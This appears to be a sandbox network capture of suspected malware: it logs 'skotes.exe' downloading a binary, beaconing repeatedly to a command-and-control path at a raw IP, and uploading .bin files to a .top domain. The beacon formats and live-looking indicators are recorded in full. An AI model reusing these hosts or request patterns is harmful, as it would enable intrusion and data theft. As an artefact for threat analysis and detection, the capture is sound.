Nov 23, 2024 18:23:41.979568958 CET	1236	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Sat, 23 Nov 2024 17:23:41 GMT content-type: application/octet-stream content-length: 10815536 content-disposition: attachment; filename="36EpLiutqfXtaXMkXOTru;" last-modified: Tue, 19 Nov 2024 12:29:07 GMT cache-control: no-cache etag: "1732019347.4431374-10815536-3919321515" Data Raw: 9b 04 9e 1d e2 2a 68 73 fe d9 48 6f 2c 36 36 c8 a4 e4 ba e7 12 f9 22 5d 6f 07 aa d2 fb 8c a2 b3 95 1e b6 6c ff 92 32 40 41 97 30 99 34 26 c9 44 c2 1e 7f 22 13 cd 10 62 a7 32 f3 c2 5c 11 ed c0 71 4a 49 c7 9d 3e 95 07 3e 4a 0a 6f 63 4c 1a b8 b6 1a 3d 67 8e 9d ed 46 4c 04 61 0a c6 3c 7b 3a f6 0d 3f 30 0d 33 18 56 4c f0 76 7a 8b c7 a1 f1 75 64 d6 00 c3 e9 df 3a 1b 4f 35 50 64 a6 db 6b 23 6a aa e6 6c 33 a4 69 a7 80 16 e0 e4 49 7c d0 73 7d bf 61 a2 62 7a 62 8e 5b f4 4d a9 ba 05 ae 7f d8 0c 3c 1e 71 cb 84 47 32 b1 63 64 df 8e 7a 22 8c 8e 33 7d f1 20 f1 74 04 61 fd 18 55 10 be 45 7d f4 63 45 d4 d0 16 17 c4 c8 a6 7d 44 80 d2 ba e9 1a 17 37 63 43 e4 22 3e c5 e4 a4 16 51 4f 2d 57 23 3a 36 33 fa f3 c5 aa 04 00 79 5c 1f 43 8d f1 b2 56 df 86 17 bc df 28 44 b7 aa 85 64 2d 2f 94 0d a5 7c 18 37 92 cb 0d 76 40 2e 05 16 6a ce b1 8c 0a e3 7d 08 00 ce 6a ef d3 51 b9 3b 81 19 3c 3f 6c 3e 37 fe 3f d7 b3 7d 60 7e e2 b1 a4 1f 00 62 27 63 3d fd 4b 06 87 dc 8e 8e fa 56 9b bf 7a dc a3 07 20 e3 0b 1a f5 06 b1 0f 6d 27 af dd 1b [TRUNCATED] Data Ascii: hsHo,66"]ol2@A04&D"b2\qJI>>JocL=gFLa<{:?03VLvzud:O5Pdk#jl3iI\|s}abzb[M<qG2cdz"3} taUE}cE}D7cC">QO-W#:63y\CV(Dd-/\|7v@.j}jQ;<?l>7?}`~b'c=KVz m'3~\K ^m_F<4xrG/dz4?gv5,?^w@X^wZ1~7C+Z&dp`#9XgJC>e93VGh74x?x[3=YT.Qa `MG?_zGkB+(#8RUeY[x-$4`zAc`vmVlP+>tsd@>ydCHSnt+_`"FitXXD.}P #(4K<0b h;]6{bgEqvZ>4o]2?}#\|![L&!z";ZY<PPT9HC}M*65qs#ep%@LlGH)bj'7a: ;B3L0"
Nov 23, 2024 18:23:41.979630947 CET	224	IN	Data Raw: b8 ff 32 30 58 cd 81 20 5f b7 4d f7 d5 77 53 0a 4f e7 60 83 ed 44 cc d0 f5 71 1e 4e 4f f8 01 9b 7d 28 47 50 fb 75 8d 8e 55 9f 9d c6 2b 06 24 6f 58 e4 80 8f e0 a2 b4 79 5d f7 cf 4a e0 fc b8 91 16 d1 c7 db 64 34 ea ff 9a 7a 67 99 a9 5e e5 15 9c c8 Data Ascii: 20X _MwSO`DqNO}(GPuU+$oXy]Jd4zg^h(>sNk=@nIEbcZ"~Q6]4AGc]>2+<X]2]CRq[Ya{YvF{m2*bg3\|8
Nov 23, 2024 18:23:41.979664087 CET	1236	IN	Data Raw: ce f2 49 de 42 8b d6 6c c4 14 6d ac f2 e1 0b 93 0d 26 12 b1 d9 54 a2 43 e2 5a ea 02 09 3f 92 9b 39 dd 18 aa 50 7b c9 fe 32 68 f3 55 03 50 52 62 f8 e9 8b 9b 27 61 ee 6f 78 21 43 0c c5 6f 47 a1 33 a5 e3 8a be 5f c8 01 cd ff 5d 95 81 65 a4 13 7f 7f Data Ascii: IBlm&TCZ?9P{2hUPRb'aox!CoG3_]efWRl!JUXY=lKcg$UM)=2uBs>$)Zc&Y/g\Q=G%\|I=tlHlMfsZjp~
Nov 23, 2024 18:23:41.979716063 CET	1236	IN	Data Raw: 14 c3 4c b2 b9 03 6d 04 cc 1a ae 23 d5 03 4b be c3 c9 3e e3 86 85 eb ac 85 d3 44 f9 54 c4 ad 30 57 f6 26 a8 1f 0e 70 3d c7 f7 81 69 96 b2 55 2f ba ce 7a 62 8c 74 e5 25 0b 92 ce 3a 56 2d 86 1a dd 68 5c d2 33 41 e1 b0 64 5e a8 56 ad f1 86 dc ec 12 Data Ascii: Lm#K>DT0W&p=iU/zbt%:V-h\3Ad^V?P#BydYCH(4\bq>`hRc~0fJd"E--)6i2 {C<DkomA+H*FvG(jYiV\31G0
Nov 23, 2024 18:23:41.979768038 CET	1236	IN	Data Raw: 50 e3 d0 8d 3d 35 3e fc 1a f8 4a 35 b2 01 42 c0 e0 91 bb 9b 19 60 5c 8f 21 4f 84 8a ac 41 2c 1c 96 e9 2d d1 12 6f 62 59 96 03 43 ae a0 1f 6f 8c 93 df 9f a4 56 27 33 53 f1 76 52 0d 44 48 8b ce d7 e5 29 3c 8e 06 a9 fb 3a 1f 52 d0 3a 3a c7 3b 62 6c Data Ascii: P=5>J5B`\!OA,-obYCoV'3SvRDH)<:R::;blX?),lD#4Bs+]?R,j76J'\[sRKI&(Cs>HXrJi~;0/muUlO"\|,4z.5:
Nov 23, 2024 18:23:41.979800940 CET	1236	IN	Data Raw: 8f 88 d9 63 12 d2 51 97 0e 59 30 3e 7e 61 9c 30 28 99 56 f1 4e 81 fb 0e c8 bc d9 fa 0e be 38 52 59 9c 20 75 d2 22 9c c5 fd b9 c4 aa 6f b6 b7 0a a4 0e 2c 0c 66 3e 52 42 a5 e9 98 26 d7 56 8e db 55 5f cc 1b d3 31 e1 bf aa 77 e7 a3 0a 89 4b 77 16 ad Data Ascii: cQY0>~a0(VN8RY u"o,f>RB&VU_1wKw\OobTZ1pp-)s\d+]$QQnyl{yoW-=S!H@;3Z%W}EqcAFHe.dzlBvp~r+*iimg9
Nov 23, 2024 18:23:41.979835033 CET	696	IN	Data Raw: 1f ae 4e 17 e3 c0 69 96 a9 34 5f 40 3d ff 82 d2 e7 7d 74 e1 db 3c dc cd 23 dc 85 3d ce 7e e9 4c fb 34 04 c6 39 55 00 c1 f3 6f 5f f5 5f 33 78 56 60 79 49 23 eb a7 c4 ca 40 17 f0 52 0a bf 00 b3 7d fb 75 89 1f bc 65 71 f8 96 68 e6 75 65 bd 77 48 7b Data Ascii: Ni4_@=}t<#=~L49Uo__3xV`yI#@R}ueqhuewH{I:aniQW]\|H`v/w~C[=w#:YR2)32t(R3`0kdwNCfDBBv5eK]YCPfe&~
Nov 23, 2024 18:23:41.979870081 CET	1236	IN	Data Raw: a7 23 75 d9 4a cc 09 e0 ce d5 34 42 d5 9e 1a c8 d1 6e 5f e5 ee 81 7e 6c 10 bc 28 8b 4e b4 85 d7 7e d7 8d 76 5a 15 1d 94 d7 5c 83 e7 00 c3 dd f6 20 60 84 bf 40 4b 30 61 da f3 7a b6 aa 52 19 74 e1 50 44 7b 25 98 89 7b fc ad 61 fe 29 30 70 93 1e 44 Data Ascii: #uJ4Bn_~l(N~vZ\ `@K0azRtPD{%{a)0pD0o7i[w'ArYK,r!(mx"fY+cRu{.%o49`e\|WlI#](&}/\|vH3gpJ2IC}kS zH 6M-'}C\|L
Nov 23, 2024 18:23:41.979922056 CET	1236	IN	Data Raw: a0 c5 f8 5f db ba 96 de f8 e3 5f bb 9a ae ff a9 31 c0 05 dc 69 9d 42 ec 96 12 34 8d 46 b3 8f 84 c1 7d 5a 45 78 4d 39 a6 12 0d 34 2e 75 81 78 6d 02 a4 c4 8e b4 09 73 e1 93 44 8a 99 01 70 1e 8b 5e 1c 55 82 ba fe 09 b6 a6 5a a8 a5 14 4e ea db cf 27 Data Ascii: __1iB4F}ZExM94.uxmsDp^UZN'!Lji(V.G8O`a&i@kQr' V:Jb7;>:%B$'SRO1a=uH~@z4=Uny1'-s^b=}
Nov 23, 2024 18:23:41.979958057 CET	368	IN	Data Raw: 51 51 ef d8 1f 32 39 5f b3 0f cc 25 d7 71 83 b7 85 12 f3 32 b3 d6 b5 2f cb 22 4d 58 28 ab 60 f3 ce 02 4f 7f 73 d8 de 54 41 e6 bb 74 5c f4 40 f0 ea c8 95 dc fe 60 16 0f 78 d7 a0 bf 55 46 df 1f a5 fc a6 a2 0f 7a a2 b4 8f e2 1a db da 83 a9 f8 4d c9 Data Ascii: QQ29_%q2/"MX(`OsTAt\@`xUFzMe(C--:1}\*q(MZ7vki/1\|<GTrL->}z8@I?chO/M'}:xUWJ#%A"Z2179x
Nov 23, 2024 18:23:42.101453066 CET	1236	IN	Data Raw: 3e 81 b8 0b 20 69 ab 34 85 a8 b0 d8 36 65 a4 ee cc 4c c2 8e 0c ad 04 22 ae 7f 21 b0 07 ba 9b 5e cb 6a 52 77 7b 8d 97 3b 2b 42 30 84 f0 a7 51 0d 9d c3 17 67 a0 5a 20 c3 b9 46 82 12 80 dd d2 fa 5e be e9 28 7d 97 cc b1 b9 01 b6 ca 8b a0 f4 85 6e d5 Data Ascii: > i46eL"!^jRw{;+B0QgZ F^(}n^lX3dYCtP}q{jWix+@?e-{RPc-7c"fH`?o}uxE<DO^YJ10g]9+/FruZ"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	50079	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:23:40.992013931 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 34 38 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008487001&unit=246122658369
Nov 23, 2024 18:23:42.343221903 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:23:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	50086	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:23:44.115190029 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:23:45.513641119 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:23:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	50095	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:23:47.153996944 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:23:48.584588051 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:23:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	50101	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:23:50.328653097 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:23:51.835585117 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:23:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	50110	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:23:53.480134964 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:23:54.831268072 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:23:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	50117	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:23:56.688687086 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:23:58.076081038 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:23:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	50131	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:23:59.745179892 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:24:01.255163908 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:24:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	50143	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:24:02.994643927 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:24:04.330252886 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:24:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	50151	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:24:05.964124918 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:24:07.364423990 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:24:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	50153	34.116.198.130	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:24:06.682332993 CET	637	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 458 Content-Type: multipart/form-data; boundary=------------------------69KraUnzj5RkJ5IAUqNKeG Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 36 39 4b 72 61 55 6e 7a 6a 35 52 6b 4a 35 49 41 55 71 4e 4b 65 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 46 69 70 6f 6c 75 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 93 45 3a 99 fd 70 7e 68 92 59 ee ce 63 05 66 8c 42 6c 99 27 13 9b 42 33 32 e3 80 95 c4 b2 a6 36 99 fa 37 70 51 65 e9 4f 18 cb d1 21 08 8c d3 f4 1c b2 98 af 74 05 6a 2b 57 46 7b 5b 5a d7 d7 d6 1b 85 38 58 fc 60 77 eb bf b7 66 07 42 37 3f 2c 80 a3 58 99 0c fe b0 5b 85 b2 7a 20 fb 26 2f ef 06 0a 54 a3 c0 f7 a1 74 83 2a 1c 1c e3 65 d9 c7 f5 81 18 64 89 7c f7 fb 4c 0f 67 fa 00 41 57 ec 5a 78 45 5d 7d d0 4c f7 2d af cb 04 d7 d8 89 2b 0f 2c e9 43 c6 c6 f1 fa a5 d5 1e a1 16 d2 cb aa f7 d4 c3 41 a4 7f 2b 16 db 1d 48 1b 06 11 2b 08 c7 ea [TRUNCATED] Data Ascii: --------------------------69KraUnzj5RkJ5IAUqNKeGContent-Disposition: form-data; name="file"; filename="Fipolu.bin"Content-Type: application/octet-streamE:p~hYcfBl'B3267pQeO!tj+WF{[Z8X`wfB7?,X[z &/Tt*ed\|LgAWZxE]}L-+,CA+H+N3?X2iOui7>$%.)nh<-$BL--------------------------69KraUnzj5RkJ5IAUqNKeG--
Nov 23, 2024 18:24:08.077836037 CET	271	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Sat, 23 Nov 2024 17:24:07 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 29 x-ratelimit-reset: 1732384448 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	50159	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:24:09.289455891 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:24:10.696836948 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:24:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	50161	34.116.198.130	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:24:09.470314980 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 58858 Content-Type: multipart/form-data; boundary=------------------------6VaOCLJCbl9MoCx2f5pEwp Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 36 56 61 4f 43 4c 4a 43 62 6c 39 4d 6f 43 78 32 66 35 70 45 77 70 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 61 78 6f 6d 61 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 56 59 21 d1 f0 a4 a6 55 5d 05 e1 0d c2 02 c1 ba fd c1 62 06 57 6b 48 55 14 ec d0 2a 0a 22 de a8 74 ca 9c 06 1a 7d 5e 87 06 09 f1 16 86 01 0c b5 d3 38 ba 39 0a d2 72 44 95 cb 2b 0e e1 0b 2d 4d e2 4b 13 78 c1 c3 30 a7 e9 0c 15 62 df 4c c0 a0 91 92 c3 18 05 f4 af e8 e6 78 65 d0 c3 8d cd 4f ef 96 a5 ce 27 a4 6d 6d 15 1d ab 82 12 6c 09 a0 3b e1 35 0d 75 bc 7d f0 cd cd 6f 4a f1 05 75 97 8e 56 e0 15 80 20 a4 63 b4 bd d4 66 d4 34 9c c6 04 a0 aa 1b f1 7e 6b f1 4d 47 fc 97 7a 86 22 a3 fa 0c ff 1a 92 5a 2f a2 db d0 a1 89 45 f1 94 e9 b1 72 [TRUNCATED] Data Ascii: --------------------------6VaOCLJCbl9MoCx2f5pEwpContent-Disposition: form-data; name="file"; filename="Paxoma.bin"Content-Type: application/octet-streamVY!U]bWkHU"t}^89rD+-MKx0bLxeO'mml;5u}oJuV cf4~kMGz"Z/ErjaK mt0/&g2G3Zf;PhVw=K4k+0u^??1DZy.vR(>)zNT=qX>zAXlS4DWU]p"4Zo51Pn:B\|UWOF]YM5+J~c)Y^TJ1mOqtaEiIgg/hZ-FXLSfcPI5I?(@N(uiK{rsMwHEL`P\iQs)Pkr;\|i{q_bL(oLTComG^<E opCeW9zSt!AO--DGkU\:=2gTl<O~'hX<e?v&iI@!}\|'X3'W~s#TQ\)J.U;0);EpqSO=fUwh3vgr2!KEWsM}Djb~soKGUb` [TRUNCATED]
Nov 23, 2024 18:24:09.593390942 CET	4944	OUT	Data Raw: 4b 7c b0 5e 69 c4 6b 54 5d da 4e 48 1b fd e3 92 ba 4e 53 f6 39 d9 7b 5d 5f 65 77 1a a4 81 9c 6d 6b e9 09 b6 5e 79 d3 6c 09 9c f0 f8 5f 76 a4 8d d7 89 1b 78 0c 52 1c b9 dd 31 f9 19 38 65 4c ce ea 04 5b 56 f9 3f f9 b4 d2 59 31 d3 8e 01 82 b9 40 ec Data Ascii: K\|^ikT]NHNS9{]_ewmk^yl_vxR18eL[V?Y1@J?N=37~?kN\?i?&`lr+U:H+z xa*fq?=g)y?\|Ib#UcHok:U41c'6\|Y=?s^+6=?.>>
Nov 23, 2024 18:24:09.593462944 CET	2472	OUT	Data Raw: c3 97 32 b2 c5 14 46 f1 71 58 12 2a 3e 29 bb 0f c1 60 dc 50 7f c0 da 3d 76 df aa 17 11 91 01 36 54 b7 0b 1c fc 19 6b 06 8c 35 c6 0a c1 2d a3 75 35 0c 10 79 46 66 51 4c 20 fd 85 3f d4 f8 85 b0 a0 dc a4 ab d6 3b 93 b3 48 22 89 50 06 42 f5 13 7f d9 Data Ascii: 2FqX*>)`P=v6Tk5-u5yFfQL ?;H"PB>b_Txkh=I/>XS<'H2>ag+Z(S{&m5(`0bgiut,j&DQu,}lD}=:vyRe<p%8T8N>yNeQ
Nov 23, 2024 18:24:09.653964996 CET	4944	OUT	Data Raw: ce 23 81 17 22 64 49 36 0e a7 f5 cd 13 33 62 1b cc fb a0 64 0a 58 25 7c d9 a5 97 34 62 07 e1 78 fd 34 33 8f 2c 0a 96 82 3d e9 05 10 e4 94 01 f0 d9 3f cb 51 13 fb bd 4e 42 2f f1 7b b5 0c 31 cd 87 44 99 fd 14 96 59 75 c9 18 7a 15 2c d6 55 c7 15 6f Data Ascii: #"dI63bdX%\|4bx43,=?QNB/{1DYuz,Uo7&}G:_`1\%yWvLrquvI7E7.2wDl1.F8%&DhRfHF\|oCW".H6~03QG~"\|]3XdfKyRj_+hMYJ}q[;
Nov 23, 2024 18:24:09.882829905 CET	4944	OUT	Data Raw: 83 ab db bb 7c 4c 16 12 cd e0 a7 c5 cc aa f3 b7 b4 4f dc c5 92 b3 76 44 34 4f 0e 1d fd e7 6b 33 58 16 ef 44 a3 b6 4b bf 2c 7d 56 d3 d5 75 8c 5f 29 d1 b5 83 55 5a 15 eb e3 ab 46 24 2e b8 c7 d5 2a ca 34 b1 fb 73 1f af 2a 31 1d 65 08 06 43 2c cc 3a Data Ascii: \|LOvD4Ok3XDK,}Vu_)UZF$.4s1eC,:H,RF^5Eq#"N`xM{1OJ-(r5cD&`@NO]9R^p-5~r:{VbiX!vf11!G*(/\
